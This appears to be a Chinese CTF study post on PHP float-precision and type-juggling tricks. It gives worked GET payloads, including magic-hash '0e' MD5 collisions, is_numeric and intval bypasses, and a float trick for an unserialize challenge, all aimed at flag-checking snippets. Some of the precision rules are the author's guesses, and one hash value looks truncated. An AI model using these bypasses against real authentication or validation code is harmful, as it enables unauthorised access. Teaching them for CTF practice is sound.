好几次做题遇到了这种利用数字的精确度来绕过的。但是还是时常忘记这个方法,这里记录下加深一下印象。
理论
在PHP中进行浮点数的运算时,经常会出现一些和预期结果不一样的值,这是由于浮点数的精度有限。尽管取决于系统,PHP 通常使用 IEEE 754
双精度格式,则由于取整而导致的最大相对误差为 1.11e-16
。非基本数学运算可能会给出更大误差,并且要考虑到进行复合运算时的误差传递。
例如我们测试一下 floor((0.1+0.7)*10);
我们预期是输出8,可是实际结果是 7。这也证明了,以十进制可以精准表示的数,无论有多少尾数都不能被内部所使用的二进制精确表示,就是说不能在不丢失一点点精度的情况下转换为二进制的格式。
我们做的如下测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $a=0.10000000000001; //14位小数 注意注意如果前面的整数部分不为0,则会只精确到13为小数 $b=0.100000000000001; $c=1.10000000000001; $d=0.100000000000005; echo $a."\n"; echo $b."\n"; echo $c."\n"; echo $d."\n"; ------------------------------ 0.10000000000001 0.1 1.1 0.10000000000001
|
这里我们得出结论:
当浮点型数据转化为字符型数据时(这里的echo就会使它转为str型),如果整数部分为0的话就有14位有效小数且是四舍五入(15位>=5,14位进一)。当整数部分为非0时,这里有效小数位数就为13位,同时也是四舍五入。这里也需要注意下,转为字符串时如果后面全是0的话也会被省略,只保留一个小数位的0
我们继续我们的测试,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php $a=0.10000000000000002; //17位小数, $b=0.10000000000000001; // $c=0.100000000000000002; //18位 $d=0.100000000000000003;
echo $a."\n"; echo $b."\n";
if($a===$b) echo "this is eq\n"; else echo "this is nq\n";
echo $c."\n"; echo $d."\n";
if($c===$d) echo "this is eq\n"; else echo "this is nq\n"; ---------------------------- 0.1 0.1 this is nq 0.1 0.1 this is eq
|
这里我们可以看出,整数部分为0时 浮点逻辑运算时,会比较其17位小数 。 同时测试发现,如果整数部分非0会比较其16位小数。具体原因不太清楚应该是算法问题,如下有个奇怪的问题:
1 2 3 4 5 6 7
| if(0.100000000000000000000000000000000000000000000000000000000000==0.10000000000000001) echo "true"; //但是下面却不相等 if(0.100000000000000010000000000000000000000000000000000000000000==0.10000000000000002) echo "true"; else echo "false";
|
这边,以后使用的时候就尽量不要使用太长吧,实在需要就现场测试。
结论
所以说了这么多,我们应该重视的点是,浮点数当字符串处理时和进行逻辑运算时所保留的位数不同,这就及其可能造成漏洞点。
当字符串: 当整数部分为0时,保留14位有效小数且四舍五入。当整数部分不为0时,保留13位有效小数且四舍五入。
进行逻辑运算: 当整数部分为0时,保留17位有效小数。当整数部分不为0时,保留16位有效小数且四舍五入。
也就是说,我们赋值的时候可以赋值为整数部分为0的2个带有15位小数且最后一位不相等的数。来绕过类似逻辑:
1 2
| if(md5($a)===md5($b) && $a!==$b) echo "success!";
|
但然利用的payload只要通过上面的学习应该是可以千变万化的。
注意,在小数位的前4位没有赋值一个非0数,则会进行科学计数法。
而外补充整数
1 2 3 4 5 6 7
| <?php $a=1234567891234567391; // 15位开始科学计数法表示,也就是说整数其实也是只精确到17位(并不是15位哟),后面的直接忽略。 $b=1234567891234567362; if($a===$b) echo "Come"; ---------------- Come
|
15位开始科学计数法表示,也就是说整数其实也是只精确到17位(并不是15位哟),后面的直接忽略。
实操
Test 1
1 2 3 4 5
| <?php $a=$_GET[a]; if(intval($a)===520) if( strpos($a,"2")) echo "give you flag";
|
这题我们怎么绕过呢?除了编码绕过外,我们也可以利用今天的知识,精准度问题来进行绕过:
payload:?a=519.9999999999999999999
Test 2
1 2 3 4 5 6 7 8 9
| <?php error_reporting(0); $flag = 'flag{1S_numer1c_Not_S4fe}'; $id = $_GET['id']; is_numeric($id)?die("Sorry...."):NULL; if($id>665){ echo $flag; } ?>
|
这题就简单了,payload:?id=666mayi
test 3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*****************}"; } else { echo "false!!!"; } } else{ echo "please input a"; } ?>
|
这题我们首先发现,md5(‘QNKCDZO’)它的值是一个0e开头的且后面没有其它字母,那么它就是把其当作科学计数法来进行计算了,0 * 10^n 都是为0,所以我们只需要md5值找到0e开头的就可如:
1 2 3 4 5
| QNKCDZO 0e830400451993494058024219903391 240610708 0e462097431906509019562988736854 aabg7XSs 0e087386482136013740957780965295 aabC9RqS 0e041022518165728065344349536299 s878926199a 0e54599327451770903432885584102
|
payload: ?a=240610708
Test 4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php show_source(__FILE__); $flag = "xxxx"; if(isset($_GET['time'])){ if(!is_numeric($_GET['time'])){ echo 'The time must be number.'; }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){ echo 'This time is too short.'; }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){ echo 'This time is too long.'; }else{ sleep((int)$_GET['time']); echo $flag; } } ?>
|
题目要求我们get传入一个time且它在(5184000,7776000)之间,随后又进行这么长的时间睡眠。这里注意有个 int 强制类型转换 ,我们利用上面说道的知识可以利用16进制或者科学计数法进行绕过。payload如:
1 2
| ?time=6e6 //需要我们等6秒 ?time=0x4f1a01
|
Test 5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class trick{ public $trick1; public $trick2; public function __destruct(){ $this->trick1 = (string)$this->trick1; if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ die("你太长了"); } if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ echo file_get_contents("/flag"); } } } highlight_file(__FILE__); unserialize($_GET['trick']);
|
这题咋整?以前用过异常类来绕过,但是这边限制了长度,就是说异常类和硬碰撞都没用了。
这时就有我们今天讲的精准度的用武之地了。记住函数调用时基本是将其先转换为str类型,当然具体情况具体分析。
我们直接看图吧,经过上面的学习应该是好理解的:
![]()